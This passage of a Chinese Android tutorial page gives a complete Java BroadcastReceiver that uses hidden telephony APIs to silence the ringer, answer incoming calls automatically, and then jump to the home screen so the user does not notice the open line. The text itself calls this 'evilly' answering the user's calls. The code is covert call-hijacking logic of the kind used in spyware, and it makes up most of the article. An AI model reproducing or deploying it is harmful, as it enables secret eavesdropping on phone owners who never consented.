Android 电话的反射调用机制实现静默接听电话(3)

 

 

首页Linux编程

背景:

阅读新闻

Android 电话的反射调用机制实现静默接听电话

[日期:2011-02-22]   来源:Linux社区  作者:Zengyangtech   [字体:]  

然后用一个BroadcastReceiver监听电话

邪恶地用接电话接用户电话

tp.java

package zy.phone;
import java.util.Timer;
import java.util.TimerTask;
import Android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.RemoteException;
import android.telephony.TelephonyManager;
import android.util.Log;
public class tp extends BroadcastReceiver {
 Context mcontext;
 TimerTask task = new TimerTask() {
  public void run() {
   Intent i = new Intent(Intent.ACTION_MAIN);
   i.addCategory(Intent.CATEGORY_HOME);
   i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
   mcontext.startActivity(i);
   Log.i("bbb", "bbb");
  }
 };
 @Override
 public void onReceive(Context context, Intent intent) {
  // TODO Auto-generated method stub
  mcontext = context;
  TelephonyManager tm = (TelephonyManager) context
    .getSystemService(Service.TELEPHONY_SERVICE);
  switch (tm.getCallState()) {
  case TelephonyManager.CALL_STATE_RINGING:// 来电响铃
   try {
   // String phoneNumber = intent.getStringExtra("incoming_number");
    
     PhoneUtils.getITelephony(tm).silenceRinger();// 静铃
     PhoneUtils.getITelephony(tm).answerRingingCall();// 自动接听
     Timer timer = new Timer();
     timer.schedule(task, 300);
    
   } catch (RemoteException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
   } catch (Exception e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
   }// 挂断
   break;// 响铃
  case TelephonyManager.CALL_STATE_OFFHOOK: // 来电接通 去电拨出
   break;// 摘机
  case TelephonyManager.CALL_STATE_IDLE: // 来去电电话挂断
   break;// 挂机
  }
 }
}

 

Android adb shell 命令

Linux下Socket TCP的简单例子

相关资讯       Android教程 

   

本文评论   查看全部评论 (0)


评论声明

尊重网上道德,遵守中华人民共和国的各项有关法律法规

承担一切因您的行为而直接或间接导致的民事或刑事法律责任

本站管理人员有权保留或删除其管辖留言中的任意内容

本站有权在网站内转载或引用您的评论

参与本评论即表明您已经阅读并接受上述条款

 

 

 

最新资讯

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwswgs.html